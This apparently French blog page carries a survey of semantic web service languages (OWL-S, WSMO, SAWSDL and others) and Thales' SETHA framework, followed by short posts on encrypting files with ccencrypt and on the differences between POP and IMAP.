Le < Web Ontology Language for Web services > (OWL-S) est un sous-ensemble du langage < Web Ontology Langage > (OWL) dédié à la description sémantique de services Web. Il est compatible avec des formats de description syntaxiques tels que WSDL. OWL est le langage de référence dans le domaine des langages reposant sur la logique de description. Ce langage est construit à partir de RDF qui est un modèle conceptuel permettant la description formelle des ressources du Web sous la forme de triplets : ressource, propriété, aussi appelée prédicat, et valeur. Par exemple, (< Michael >;< est >;< un homme >) est un triplet qui a pour ressource < Michael >, pour prédicat < est > et pour valeur < un homme >.

OWL est une extension de RDF Schema, c’est-à-dire qu’à l’instar de RDF Schema, OWL définit un vocabulaire permettant de décrire des ontologies, tout en offrant des possibilités de description plus riches. Parmi les notions importantes apportées par OWL, citons les propriétés d’équivalence, d’identité de deux ressources, de différences entre deux ressources, de contraire, de symétrie, de transitivité et de cardinalité. Ces propriétés permettent l’utilisation de raisonneurs afin de déterminer des relations d’équivalence ou de subsomption entre des concepts de domaines de connaissances (signifie que l’un des concepts est un sous concept de l’autre, c’est-à-dire que les attributs du premier concept forment un sous-ensemble des attributs du deuxième.) , et d’évaluer automatiquement la compatibilité entre différentes représentations sémantiques.

Une description OWL-S se compose de trois éléments : le service profile, le process model, et le grounding, qui décrivent respectivement , et :

– Le service profile décrit les fonctionnalités des services Web, il est utile pour leur découverte et leur sélection.
– Le process model détaille la sémantique des données échangées, au niveau des messages échangés entre services Web.
– Le grounding spécifie l’encodage des données échangées, les protocoles de communication, ainsi que tous les détails concrets nécessaires à l’invocation du service.

OWL-S recommande la séparation entre les vues de haut et de bas niveau concernant la description des données échangées entre services Web.

La vue abstraite, dite de haut niveau, attache le service Web à des descriptions conceptuelles en OWL, décrites dans des ontologies. La vue concrète, ou de bas niveau, décrit la représentation physique du service Web, c’est-à-dire les types de données et les protocoles utilisés. Cette séparation permet différentes représentations physiques du même concept, et renforce le rôle des ontologies dans la représentation abstraite de la sémantique des données.

Suivant les idées développées par les auteurs d’OWL-S, de nombreux travaux de recherche ont été proposés. Notamment, ODESWS est une architecture de description et composition de services Web reposant sur les méthodes de résolution de problèmes, ou < Problem-Solving Methods > (PSM). Dans cette architecture, une fonctionnalité est représentée comme un problème, et la description des fonctionnalités offertes par les services permettent d’évaluer les possibilités de résolution du problème.

b) Web Service Modeling Ontology (WSMO)

L’architecture Web Service Modeling Ontology (WSMO), est une architecture conceptuelle, ou méta modèle, visant à expliciter la sémantique des services Web. Elle est organisée autour de quatre éléments principaux :

– Les services Web sont définis comme des < entités computationnelles > qui fournissent une fonctionnalité. Une description est associée à chaque service, dans le but de décrire sa fonctionnalité, son interface, et ses détails internes.

– Les Objectifs servent à décrire les souhaits des utilisateurs(trices) en terme de fonctionnalités requises. Les objectifs sont une vue orientée utilisateur(trice) du processus d’utilisation des services Web, ils sont une entité à part entière dans le modèle WSMO. Un objectif décrit la fonctionnalité, les entrées/sorties, les pré conditions et post conditions d’un service Web.

– Les Médiateurs sont utilisés pour résoudre de nombreux problèmes d’incompatibilité, telles que les incompatibilités de données dans le cas où les services Web utilisent différentes terminologies, les incompatibilités de processus dans le cas de la combinaison de services Web, et les incompatibilités de protocoles lors de l’établissement des communications.

– Les Ontologies fournissent la terminologie de référence aux autres éléments de WSMO, afin de spécifier le vocabulaire du domaine de connaissance d’une manière interprétable par les machines. Contrairement à OWL-S, WSMO inclut les médiateurs comme des composants centraux de son architecture. Les hétérogénéités rencontrées lors de l’utilisation de services Web sont gérés par les types de médiation suivants :
–> La médiation de données résout les incompatibilités de représentation des données.
–> La médiation de processus est relative à la logique applicative de la composition.
–> La médiation de protocoles adapte les différents protocoles de communication utilisés.

Ces types de médiation sont pris en charge par quatre familles de médiateurs :
–> Les GG-médiateurs permettent d’effectuer la médiation entre deux objectifs, GG signifiant < goal-goal >. Cela signifie qu’ils permettent d’établir des correspondances entre objectifs, en se servant des ontologies d’objectifs disponibles dans le cadre de WSMO.
–> Les WG-médiateurs, avec WG pour < Web service-goal >, établissent les correspondances entre les fonctionnalités offertes par les services Web et les requêtes des utilisateurs(trices), qui sont toutes les deux définies comme des objectifs. L’intérêt de ce type de médiateurs est d’aider la découverte et la sélection de services Web.
–> Les WW-médiateurs, avec WW pour < Web service-Web service >, établissent les correspondances entre services Web. Leur tâche est de résoudre les conflits au niveau des données, du protocole, et du processus de composition. Ils sont mis en œuvre lors de l’orchestration des services Web au sein d’une composition.
–> Les OO-médiateurs, avec OO pour < ontology-ontology >, sont destinés à résoudre les conflits entre ontologies. Les autres types de médiateurs énoncés ci-dessus, mais aussi n’importe quel élément de l’architecture WSMO qui pourrait utiliser les ontologies, peut utiliser un OO-médiateur pour résoudre un conflit sémantique. Le travail des OO-médiateurs consiste à établir des correspondances entre les terminologies contenues dans les différentes ontologies pour les intégrer en une représentation homogène des données. Cette représentation homogène permet de résoudre les hétérogénéités sémantiques et de répondre aux requêtes soumises par les composants de l’architecture WSMO.

c) DIANE Elements (DE) et DIANE Service Description (DSD)

Les langages DIANE Elements (DE) et DIANE Service Description (DSD) sont des langages orientés objet construits à partir d’une analyse des conditions requises pour la description des services Web sémantiques, et des difficultés de OWL-S et WSMO à remplir ces conditions.
Les langages DIANE Elements (DE) et DIANE Service Description (DSD) utilisent les notions d’ensembles configurables et de logique floue pour améliorer la découverte sémantique de services Web. DE est un langage général d’ontologie qui contient des caractéristiques spécifiques visant à améliorer la description de services Web sémantiques.

Ce langage orienté objet hérite de la F-logique pour décrire les concepts d’attributs, de types de données primitifs (empruntés à XML Schema), et d’élément restreints (seulement huit types primitifs). La F-logique est un langage déductif orienté objet de représentation des connaissances, qui combine la sémantique déclarative et l’expressivité des langages déductifs avec les capacités de modélisation du modèle orienté objet. La séparation entre schéma et instances est aussi empruntée à la logique de description.
Le langage DSD quant à lui, utilise les constructions fournies par DE afin de décrire les services Web. Il est construit autour des notions de description de requête et d’offre de service : la description d’un service constitue une offre et une demande utilisateur constitue une requête. L’approche proposée fournit une architecture globale pour la description de services Web sémantiques, avec un fort support de raisonnement, qui emprunte de nombreux avantages apportés par les approches OWL-S et WSMO.

2.2 Annotation des langages existants

Contrairement aux langages précédents, plusieurs travaux proposent d’étendre les normes existantes par une annotation, soit en utilisant les éléments d’extensibilités prévus à cet effet, soit en modifiant les fonctionnalités initiales des normes. Ces extensions sont détaillées ci-dessous.

a) Annotation du processus métier

SEmantic Service MArkup (SESMA). Le langage SESMA est un autre format de description pour services Web sémantiques, qui a été conçu pour fournir un langage simple à utiliser, avec une syntaxe compacte et une forte intégration avec les langages existants WSDL, SOAP et WS-BPEL. SESMA a été construit avec les objectifs suivants :

– une syntaxe reposant sur le langage XML, pour une distribution du langage à large échelle,
– une sémantique précise qui clarifie la signification des descriptions,
– une forte complémentarité avec les langages existants,
– des possibilités d’extension permettant une évolution vers d’autres langages éventuels.
Son principal avantage est d’être un langage léger, et sa sémantique n’est pas construite à partir de OWL. De plus, il fournit un support pour la description de services composites, sous la forme d’annotations de processus métiers WS-BPEL.

b) Annotation du langage de description

Exploitation des éléments d’extensibilité de WSDL. Avec WSDL-S, on peut annoter WSDL avec plusieurs extensions relatives aux opérations et messages d’entrée/-sortie des services Web. Ces extensions contiennent des références aux concepts décrits dans les ontologies de description du domaine de connaissance associé au service Web, afin de spécifier la sémantique des messages, mais aussi les prés conditions et effets des opérations. WSDL-S vise à fournir une approche < allégée > d’annotation sémantique de services Web.

Extension de WSDL avec SAWSDL. Le World Wide Web Consortium propose avec les Semantic Annotations for Web Services Description Language (SAWSDL) un moyen d’annoter les descriptions WSDL 2.0 tout en supportant WSDL 1.1. SAWSDL est un ensemble d’attributs d’extension permettant de décrire la sémantique des éléments contenus dans les documents WSDL. L’objectif de SAWSDL est de définir comment une annotation doit être réalisée, tout en laissant le choix du langage utilisé pour la description sémantique. SAWSDL fournit les mécanismes permettant d’attacher des concepts décrits dans des ontologies aux annotations des descriptions WSDL. Cette proposition étend WSDL-S, elle peut être considérée comme une continuité de ce langage. Elle vise à apporter la valeur ajoutée de la sémantique non seulement lors de l’invocation des services Web, mais aussi durant la phase de découverte. Trois attributs d’extensibilité sont définis par défaut : l’attribut permet l’association entre un composant WSDL et un concept d’une ontologie, et les attributs < liftingSchemaMapping > et < lowering-SchemaMapping > sont ajoutés aux définitions de types pour spécifier les correspondances entre les éléments du schéma des données et l’information sémantique de l’ontologie.

c) Annotation des registres

Extension sémantique de UDDI. Paolucci et coll. présentent une approche visant à améliorer la publication et la découverte de services Web dans les registres UDDI. Ils étendent les descriptions UDDI avec l’information sémantique nécessaire pour décrire les capacités des services Web, en utilisant le langage DAML-S, prédécesseur de OWL-S. Ils soutiennent que la découverte des fonctionnalités de services Web ne peut être effectuée qu’au niveau sémantique. En effet, sans sémantique explicite, deux descriptions équivalentes peuvent être interprétées différemment, selon les circonstances de leur utilisation.

Ainsi, l’automatisation de la découverte des services Web passe par la description explicite de leurs capacités. Les auteurs décrivent une méthode pour effectuer la traduction de la représentation DAML-S vers la représentation UDDI. De plus, ils proposent un algorithme de correspondance sémantique des fonctionnalités offertes par les services Web, sur la base de leur représentation UDDI modifiée. Ainsi, la découverte de services Web tire avantage des descriptions sémantiques qui ont été insérées dans le standard UDDI.

Extension sémantique d’ebXML. Dogac et coll. [2] proposent aussi un enrichissement des registres avec de la sémantique, mais leur proposition concerne le standard ebXML. Leur motivation est similaire à celle de Paolucci et coll., cependant les mécanismes développés sont différents en raison de la structure d’ebXML qui possède de nombreuses différences par rapport à UDDI. En effet, ebXML permet de stocker la description sémantique d’un service Web directement dans le registre, alors que UDDI doit faire référence à un document extérieur. Aussi, ebXML fournit la possibilité de définir des correspondances vers des concepts sémantiques directement dans le fonctionnement du registre. Ainsi, les auteurs utilisent les possibilités d’ebXML pour insérer les ontologies directement dans les registres. Ils proposent une table de correspondance entre le vocabulaire de OWL et les structures de description offertes par ebXML, lesquelles sont étendues pour atteindre la richesse de description offerte par OWL. Grâce à cette solution, les registres ebXML sont capables de contenir des descriptions sémantiques de services Web, qui peuvent être découvertes par les applications clientes à l’aide de modèles de requêtes spécifiques aux descriptions sémantiques proposées par les auteurs.
3 Conclusion

Dans ce chapitre, j’ai présenté les propositions de description sémantique des services Web. En effet, comme le montrent la multiplicité et l’évolution rapide des langages et annotations proposés, la résolution des conflits sémantiques, principalement par la description explicite des données, peut clairement constituer la prochaine étape vers l’interopérabilité entre systèmes distribués. Ainsi, les approches de description sémantique des services Web suivent un objectif commun : décrire de manière explicite et gérer la sémantique associée aux services Web, car cette sémantique reste absente de leur pile standard de protocoles. Malgré cet objectif commun, deux orientations complètement différentes caractérisent les approches étudiées :
– Les langages sémantiques tentent de s’imposer comme de nouvelles normes de description. Ils souhaitent remplacer les langages actuels comme WSDL, et inscrire les services Web dans le cadre du Web sémantique. Ces langages apportent les nombreux avantages liés à la description sémantique, et bénéficient des critiques apportées sur les langages précédents. Cependant, ils nécessitent des descriptions plus complexes qui demandent des connaissances importantes lors de la conception d’une description.

– Les annotations enrichissent les langages existants afin de décrire la sémantique des services Web. Ces approches sont avantageuses dans la mesure où elles exploitent les éléments d’extensibilité des langages existants, et restent compatibles avec ces derniers. En effet, il est contraignant de devoir renoncer aux normes existantes afin de bénéficier des avantages apportés par les approches proposées.
Notons que la plupart des approches décrites, excepté WSMO, se concentrent sur la découverte et la correspondance de concepts. Cela suppose que les services Web découverts ont adhéré à une ontologie commune, et adoptent la représentation des données de cette ontologie. Cela suppose aussi une adaptation de la sémantique locale des services Web à la sémantique de l’ontologie partagée. Autant de suppositions difficiles à soutenir dans le contexte des services Web et d’Internet.
IV. Une architecture pour la découverte et l’orchestration de services Web sémantiques

1 Introduction

De par son métier d’intégrateur de systèmes civils et militaires, Thales est amené à concevoir et manipuler des systèmes d’information à forte hétérogénéité : se pose alors le problème du maintien de l’interopérabilité entre les composants de ces systèmes.
Cette problématique est traditionnellement traitée au niveau syntaxique : en ce sens, l’interopérabilité reste superficielle et ne peut être maintenue qu’en imposant de fortes contraintes aux utilisateurs du système. Cela reste particulièrement difficile à maintenir, notamment lors du passage à l’échelle. De plus, la multitude de solutions ad hoc déjà existantes amène Thales à penser que la mise au point d’une approche unificatrice et aisément transposable à chaque domaine d’application permettra d’améliorer significativement l’interopérabilité et d’en diminuer les coûts associés.
Dans le cadre des activités de recherche et développement de Thales, ils cherchent à mettre en œuvre une application concrète des modèles formels de partage de connaissance et choisissons les ontologies comme support de cette formalisation.
Cette réalisation pose les bases d’un cadre général pour le support de l’interopérabilité fonctionnelle au niveau sémantique dans les architectures orientées services : elle a pour but de permettre l’interopérabilité des composants dans les environnements SOA (Service Oriented Architecture) hétérogènes, distribués et hautement dynamiques. Dans ces architectures, les services Web peuvent apparaître et disparaître à tout moment pendant l’exécution.
Pour ce type de systèmes, un niveau élevé d’interopérabilité entre producteurs et consommateurs de services est requis car les décisions de liaison ne peuvent être prises avant le déploiement ou l’exécution du système d’information. En effet, les services sont majoritairement découverts dynamiquement, à l’exécution.
Ce genre de caractéristiques pourrait se retrouver dans les systèmes d’intégration et d’information à visées militaires (Systèmes Terre et Interarmées) et civiles développées par Thales. Par exemple :
• Le besoin, sur le terrain, de déployer un système de commande et contrôle partagé par les différents alliés d’une coalition internationale (par ex. OTAN). Dans ce type de système de commande, les processus métiers correspondent à des procédures militaires qui pourraient être définis à l’avance et s’adapter à l’éventuelle indisponibilité des services utilisés.
• La nécessité, dans les systèmes civils de gestion de crise, de découvrir et coordonner les secours dans un temps contraint et de choisir les bons scénarios d’action en fonction des équipements disponibles sur le réseau.
En fonction de ces contraintes, le cadre de travail a été défini comme suit :
• Les SOA : de ce fait, ils manipulent des services Web et des processus Web.
• Des domaines « métiers » spécifiés formellement : une certaine connaissance du domaine sera partagée sous forme d’ontologie(s) par les protagonistes du système.
• Des environnements hétérogènes : des différences pourront survenir aux niveaux sémantique et syntaxique entre la demande de service du consommateur et la déclaration du producteur de service.
• Des environnements dynamiques : les consommateurs de service, sous forme de processus métiers, seront liés dynamiquement lors de l’orchestration aux services disponibles dans le système.
Le reste de ce chapitre s’organise comme suit : dans un premier temps je présente la solution logicielle développée par Thales, ensuite les concepts fondamentaux traités par cette solution, nommément : la spécification des connaissances, des propriétés fonctionnelles, la publication et la recherche sémantique de service, ainsi que l’orchestration sémantique de services.

2 Le framework SETHA

Afin d’apporter une solution simple et efficace au problème de l’interopérabilité dans les architectures SOA hétérogènes et dynamiques, Thales a mis au point un ensemble de composants réunis au sein d’un framework nommé SETHA (SEmanticTHAles). Cette réalisation industrielle regroupe un ensemble extensible de fonctionnalités et technologies pour permettre :

• La spécification :

- des connaissances sous forme d’ontologies,
- des propriétés fonctionnelles des services Web à partir de leur déclaration de service et d’ontologies,
- des contraintes fonctionnelles des processus Web par une méthodologie similaire à celle employée pour les services.

• La publication et la découverte sémantique de services via un annuaire.

• L’orchestration sémantique des processus Web à partir des informations syntaxiques et sémantiques disponibles au moment de l’exécution des processus. Cela inclut :

- L’appariement entre consommateurs de services et les meilleures offres des producteurs grâce à la notion de conformité sémantique.
- La gestion de l’adaptation de données nécessaire à l’appel de services.

La particularité de ce framework réside donc dans ses facultés d’abstraction des contraintes syntaxiques pour se focaliser sur le sens réel des informations exprimées par les composants et utilisateurs du système.
Ces informations sémantiques permettent de définir un système d’information par composition sans avoir à se soucier des contraintes telles que l’adresse des services à appeler, le nom des opérations, le type des données : cette abstraction est d’autant plus importante, qu’obtenir une correspondance syntaxique parfaite entre offre et demande est très improbable dans un système hétérogène.
Ce framework est essentiellement constitué de technologies standardisées, ou en cours de standardisation, et issues de travaux relatifs au Web Sémantique : comme le langage SAWSDL (Semantic Annotation for WSDL), BPEL (Business Process Execution Language), OWL (Ontology Web Language) et la spécification d’annuaires de service UDDI (Universal Description, Discovery and Integration).
Ceci devrait assurer la pérennité du développement et de ses futures mises à jour.
Nous verrons dans les sections suivantes comment ces technologies sont misent en œuvre pour obtenir les fonctionnalités souhaitées.

3 Spécification des connaissances

Lors de la mise au point d’un système d’information reposant sur une architecture SOA, il n’existe traditionnellement pas de modèle commun des connaissances portant sur le domaine d’application du système. L’entente entre les différents intervenants se situe alors au niveau syntaxique et ne fait l’objet d’aucune réflexion poussée avant son déploiement : un client ne peut qu’extrapoler le fonctionnement effectif d’un service à partir de la description syntaxique de son interface (par ex. le nom des opérations ou le type des paramètres). Mais producteurs et consommateurs de services attribuent-ils la même signification aux lexèmes qu’ils utilisent ?
3.1 Une approche formelle : les ontologies

Cet état de fait constitue un frein majeur à l’adoption des architectures SOA dans les environnements à forte hétérogénéité. En effet, comment mener à bien des processus Web complexes si l’on n’est pas en mesure de sélectionner de manière effective les fonctionnalités nécessaires à leur exécution parmi le vaste ensemble de services offerts par des tiers ?
C’est pour répondre à cette problématique que le framework SETHA supporte la spécification formelle des concepts significatifs dans un ou plusieurs domaines d’application. Pour s’assurer qu’il n’existe pas de différences d’interprétation entre fournisseurs et consommateurs de service, SETHA leur demande de faire référence à une sémantique connue et distribuable.
En fonction de leur degré de formalisation, les méthodes formelles peuvent être utilisées à des fins diverses :
• Pour spécifier les propriétés d’un système. Une méthode formelle peut donc être utilisée pour décrire les propriétés fonctionnelles des composants d’une architecture SOA.
• Pour prouver que certaines propriétés sont valides dans le système.
• Pour raisonner sur les connaissances et d’effectuer des calculs d’inférence. On peut alors effectuer automatiquement certains types de raisonnement sur les propriétés fonctionnelles, par exemple pour calculer les correspondances entre offres et demandes de service.
Dans le cadre de ce framework, cette spécification formelle sera effectuée au moyen d’ontologies. Une ontologie est un modèle des entités et relations dans un domaine spécifique ou « universe of discourse » (UoD). Elle se distingue d’une taxonomie (connaissances avec une hiérarchisation minimale ou une structure parent-enfant), d’un thésaurus (mots et synonymes) dans la mesure où elle représente un modèle conceptuel (avec des connaissances plus complexes) voir même une théorie logique. Une ontologie dispose d’une sémantique formelle, c’est à- dire une théorie de modèle pour son langage. De ce fait, elle supporte l’inférence via son modèle formel, et peut être est décidable et soluble en fonction de son expressivité.
3.2 Un langage de spécification d’ontologies : OWL

OWL est le langage de spécification d’ontologies qui a été retenu dans le framework SETHA. Il fournit les moyens pour définir des ontologies Web structurées. Ce langage est basé sur les recherches effectuées dans le domaine des logiques de description. De plus, une description OWL d’ontologie présente l’avantage d’être « sérialisable » sous une forme XML.
Il existe trois variantes du langage OWL à l’expressivité croissante : lite, DL et full. OWL-DL à l’avantage de rester décidable tout en présentant une expressivité suffisamment étendue pour la plupart des applications, c’est donc lui qui va être utiliser pour la définition d’ontologies. De plus il existe de nombreux raisonneurs logiques capables de traiter cette classe d’ontologies .
OWL est adéquat pour les travaux relatifs au « Web sémantique », car il offre une syntaxe définie strictement, une sémantique formelle et selon le niveau peut permettre des raisonnements automatisés par inférence sur les connaissances. Il est donc possible de profiter de ce format pour structurer, partager et échanger des connaissances. Il existe déjà de nombreuses ontologies modélisées à l’aide de OWL.
4 Ontologies et spécification des propriétés et contraintes fonctionnelles
Il s’agit de la spécification des propriétés fonctionnelles offertes par les services Web publiés dans l’architecture SOA ainsi que de la spécification des contraintes fonctionnelles portant sur ces services et définies dans les processus Web. Dans les deux cas, les ontologies sont mises à contribution pour apporter la « connaissance » sémantique du domaine métier considéré.
Par « fonctionnel », on entend tout ce qui est directement lié au métier du service et aux fonctionnalités offertes, et non à la qualité du service rendu (temps de réponse ou de traitement, latence, …).

Offre de service, la spécification SAWSDL

Dans l’architecture qui a été défini, les services web possèdent une description syntaxique et sémantique de leurs propriétés fonctionnelles (les fonctionnalités exposées par le service) :
• La description syntaxique regroupe les informations telles que les noms d’opération, types de données, protocoles réseau et point d’accès.
• La description sémantique augmente les descriptions de service avec des concepts extraits d’une ontologie afin d’en préciser le sens.
De ce fait, ce framework est à ma connaissance l’une des premières réalisations industrielles à présenter une application concrète de la recommandation W3C.
Cette extension de WSDL 2.0 permet à un fournisseur de service de définir des déclarations améliorées sémantiquement qui viennent s’ajouter au niveau syntaxique d’une spécification WSDL classique.
SAWSDL permet l’annotation de certains éléments d’une déclaration de service par des concepts sémantiques référencés grâce à une URL unique. Dans le cadre de cette réalisation industrielle, les développeurs ont choisi les ontologies OWL comme moyen de définition de ces concepts sémantiques, les URL désigneront donc des classes ontologiques. Ainsi, SAWSDL qui permet de tracer un lien direct entre une déclaration de service et la spécification sémantique du domaine considéré.
5 Publication, recherche et orchestration sémantique de services
Les services Web correspondent à des entités dynamiques de cette architecture :
Ils peuvent devenir disponibles à tout moment au cours de l’exécution du système et parallèlement être découverts dynamiquement par leurs clients (ce sont les processus Web). Fournisseur et consommateurs de services doivent donc disposer d’un moyen commun et fiable pour effectuer la publication et la recherche de services.
Dans l’architecture de SETHA, ces actions sont effectuées de manière centralisée par le biais d’un annuaire. Ce dernier implémente la spécification UDDI d’un annuaire de services multi-usages. UDDI est une recommandation OASIS qui permet aux clients des services d’effectuer des recherches sur les déclarations de services Web publiées dans un annuaire donné (privés ou publiques) et aux développeurs de publier leurs services en spécifiant toute information relative à leurs interfaces (opérations, pré-requis, conformité à une spécification).
L’implémentation jUDDI2 de la fondation Apache a été retenu pour sa faible charge réseau, sa facilité de déploiement et son adoption dans le milieu industriel.
SETHA utilise l’annuaire jUDDI pour stocker les informations non-seulement syntaxiques, mais aussi sémantiques, liées aux services disponibles sur le réseau (d’une entreprise, d’un champ de bataille, …). Ces informations sémantiques étant alors exprimées par le biais de déclarations de services au format SAWSDL et d’ontologies de référence liées en partie au domaine d’application du service.
Il s’avère malheureusement que la spécification UDDI ne prévoit aucune facilité pour le stockage d’informations sémantiques dans l’annuaire. Pour pallier cette déficience, les développeurs de SETHA ont utilisé les capacités d’extensions du modèle de données UDDI pour mettre au point une correspondance (ou « mapping ») entre les déclarations au format SAWSDL et les structures de données de l’annuaire. Écrire une correspondance entre un domaine A et un domaine B signifie alors que l’on définit un procédé pour représenter toutes les structures de donnée du domaine A dans les structures de donnée du domaine B. Il doit être aussi possible de reconstituer tout ou partie des données de type A à partir des données mappées dans le type B.
Cette correspondance va permettre d’effectuer la transition d’une gestion des services basée uniquement sur la syntaxe et mise en œuvre avec WSDL et UDDI à une gestion basée principalement sur la sémantique et mise en œuvre grâce à SAWSDL et une couche de compatibilité sémantique pour UDDI.
6 Conclusion
Dans son état actuel, cette implémentation constitue la première étape vers la réalisation d’un framework complet de support des SOA sémantiques qui pourrait être réutilisé au sein des activités civiles et militaires du groupe Thales. À maturation, il aurait pour vocation d’être adopté par le plus grand nombre à l’intérieur et à l’extérieur du groupe. Les choix technologiques relatifs à cette plateforme ont été faits dans ce sens : les solutions libres (« opensource » ) et standardisées.
Mais, comme on a pu le voir, certains points demandent à être approfondis, notamment dans le domaine de l’adaptation des données et du raisonnement sur ontologies : les évolutions possibles passent essentiellement par la mise au point de techniques plus puissantes de raisonnement ontologique (inférence logique, alignement d’ontologies, utilisation de logiques plus évoluées comme les logiques floues) et la couverture d’un ensemble plus étendu de situations (des appariements (matching) plus pertinents, une adaptation de données plus robuste). Ces points précis se doivent d’être étudiés avant d’entrer en phase finale d’exploitation du framework SETHA.
Une autre possibilité d’évolution fait parallèlement l’objet de recherches : elle consiste à définir un framework générique de gestion des contraintes fonctionnelles et non-fonctionnelles (telles que la Qualité de Service, QoS) dans les SOA. Le principe étant de garder une approche extensible capable de supporter différents types de raisonnements interchangeables et complémentaires sur ces propriétés et contraintes tout en s’inspirant des travaux déjà réalisés dans le domaine.

V.    Conclusion
Aujourd’hui, les web services sémantiques constituent une voie prometteuse permettant de mieux exploiter les web services en automatisant, autant que possible, les différentes tâches liées au cycle de vie d’un service. Ils apparaissent donc indispensables pour permettre une utilisation effective des web services dans des applications industrielles. Ils posent aujourd’hui un certain nombre de problèmes qui interpellent différentes communautés de recherche aussi bien théorique qu’appliquée. Le nombre de nouvelles revues, le volume important de publications et de projets dédiés à ce thème dénotent une vitalité réelle de ce domaine de recherche émergent.
Cependant, on remarque que la tendance actuelle des communautés de recherche s’intéressant aux web services sémantiques est de ne pas tenir compte explicitement des caractéristiques fondamentales des web services et de l’environnement dans lequel ils doivent s’intégrer. A mon avis, le succès de cette voie de recherche dépendra étroitement de sa capacité, entre autres, à tenir compte des facteurs suivants :
·    Les travaux de recherche devront intégrer le plus possible les caractéristiques des futurs standards actuellement en cours d’élaboration, les éditeurs de logiciels (e.g. IBM, Microsoft…) étant fortement impliqués dans cette tâche. Ils doivent donc s’efforcer d’exploiter/compléter ces futurs standards et non pas ignorer leur existence ou les concurrencer. De la même manière, il est important de bien identifier les contraintes imposées par les fonctions d’entreprise afin de resituer les problématiques de recherche.
·    La volonté d’automatiser n’est certainement pas une voie réaliste. Certains travaux de recherche semblent faire abstraction de la complexité du contexte de l’intégration de par les hypothèses simplificatrices fortes qu’ils imposent dans leurs solutions. En effet, le contexte de l’intégration fonctionnelle est tel que de nombreuses tâches doivent rester à la charge d’humains. Il est, par exemple, illusoire de vouloir automatiser complètement la gestion d’une chaîne logistique.
·    Le concept de sémantique tel que défini dans le contexte du web sémantique, i.e., décrire la sémantique de manière à la rendre intelligible pour les machines, semble trop restrictif. En effet, il est également très important d’expliciter la sémantique des web services en vue de faciliter leur utilisation par les humains, même pour les situations où l’automatisation ne semble pas réaliste. Il est notoire que dans le domaine des bases de données par exemple, les modèles sémantiques (e.g., le modèle Entité/Association) ont été proposé à l’origine pour faciliter la compréhension de la sémantique des données d’un système d’information par les humains. Ces modèles se sont avéré très utiles par la suite pour automatiser partiellement le processus de conception d’une base de données.

GLOSSAIRE

.NET    Microsoft .NET Framework
BPEL    Business Process Execution Language
C#    C Sharp
COM    Component Object Model
DAML    DARPA Agent Markup Language
DARPA    Defense Advanced Research Projects Agency
DIANE    DIstributed ANalysis Environment
EAI    Enterprise Application Integration
ebXML    e-Business XML
Ecrm    Electronic Customer Relationship Marketing
EJB    Enterprise JavaBeans
J#    J Sharp
J2EE    Java 2 Entreprise Edition
Juddi    Java implementation of the Universal Description, Discovery, and Integration
ODESWS    A Toolset for Design and Composition of Semantic Web Services
OWL    Web Ontology Language
OWL-S    Semantic Markup for Web Services
QoS    Quality of service
RDF    Resource Description Framework
RDFS    Resource Description Framework Schema
SAWSDL    Semantic Annotations for WSDL
SESMA    Special Event Search and Master Analysis
SETHA    Semantic THALES
SOAP    Simple Object Access Protocol
UDDI    Universal Description Discovery and Integration
URI    Uniform Resource Identifier
W3C    World Wide Web Consortium
WS-BPEL    Web Services Business Process Execution Language
WSDL    Web Services Description Language
WSMO    Web Service Modeling Ontology
XML    Extensible Markup Language

BIBLIOGRAPHIE
1. B. Benatallah , M-S. Hacid, C. Rey & F. Toumani (2003). Semantic Reasoning for Web Services Discovery, WWW Workshop on E-Services and the Semantic Web, Budapest, Hungary.

2. Burstein M., Ankolenkar A., Paolucci M., Srinivasan N. et al.; “OWL-S: Semantic Markup for Web Services”; http://www.daml.org/services/owl-s/1.0/owl-s.pdf

3. ebXML : Enabling a global electronic market http://www.ebxml.org/geninfo.htm

4. McGuinness D.L. and van Harmelen; “OWL Web Ontology Language Overview”; http://www.w3.org/TR/owl-features/, Août 2003, World Wide Web Consortium - Candidate Recommendation.

5. McGuinness DL., van Harmelen F. et al, OWL Web Ontology Language Overview, W3C Recommendation, 2004.

6. Sabri Boutemedjet (2004).Web sémantique et eLearning. Cours IFT6251 Université de Montréal

7. SAWSDL Working Group. Semantic Annotations for WSDL. W3c working draft, The World Wide Web Consortium (W3C), Sept. 2006. http://www.w3.org/TR/2006/WD-sawsdl-20060928/.

8. Une architecture pour la découverte et l’orchestration de services Web sémantiques Thales Communications France, Laboratoire d’Informatique de Paris VI (LIP6). Pierre Châtel.

9. W3C recommandation, « Recommandation Web Services Description Language (WSDL). Part 1 : Core Language » : http://www.w3.org/TR/wsdl20

10. W3C World Wide Web Consortium; “SOAP Version 1.2 Part 1: Messaging Framework“; Disponible à : http://www.w3.org/TR/soap12-part1/

11. WSDL4J Project Homepage. Web Services Description Language for Java Toolkit (WSDL4J) v. 1.5, 2005. http://sourceforge.net/projects/wsdl4j.

Commentaires: Comments Off
Catégories: Web 3.0

Comment crypter vos fichiers ?

hazem.nasri | 5 septembre 2008

Le fichier test.txt contient la liste de mes mot de passe :

ici la liste
de mes
mot de passe
top
secrets

test.txt

Pour crypter :

root@laptop:/home$ ccencrypt test.txt
Enter encryption key:
Enter encryption key: (repeat)

ce qui donne en résultat le fichier test.txt.cpt. Le contenu est illisible. L’analyse par la commande file répond data.

Pour décrypter :

root@laptop:/home$ ccdecrypt test.txt.cpt
Enter decryption key:

root@laptop:/home$ cat test.txt
ici la liste
de mes
mot de passe
top
secrets

Commentaires: 662 Commentaires »
Catégories: serveur linux
Flux rss des commentaires
Trackback

Différences entre IMAP et POP

hazem.nasri | 3 septembre 2008

POP ou IMAP ?
Les logiciels de courrier électronique modernes tels que Outlook peuvent se connecter au serveur de courrier éléctronique en utilisant deux protocoles.
* le protocole POP;
* le protocole IMAP.

En fonction de la façon dont votre logiciel de courrier est configuré et donc du protocole qu’il utilise, votre logiciel de courrier électronique va réagir différemment lors de la relève de votre boîte aux lettres. Des fonctionnalités supplémentaires seront également disponibles. Voici les principales différences entre ces deux protocoles.

Le protocole POP

L’idée principale de ce protocole est de vider entièrement le contenu de votre boîte aux lettres lorsque vous la relevez.

Rien ne reste alors sur le serveur. Cette caractéristique engendre quelques limitations dues notamment au fait que le stockage du courrier se fait sur votre ordinateur.

Lorsque vous vous connectez sur internet, le logiciel décharge l’ensemble de vos mails reçus avant que vous ne puissiez les consulter. Ceci est particulièrement ennuyeux lorsque vous recevez de gros mails avec des pièces jointes.
Si votre ordinateur tombe en panne ou que vous en changez, vous perdez l’ensemble de vos mails.
Quand vous accédez à votre courrier à partir de plusieurs endroits, vous n’avez pas l’ensemble de vos mails dans votre boîte aux lettres.
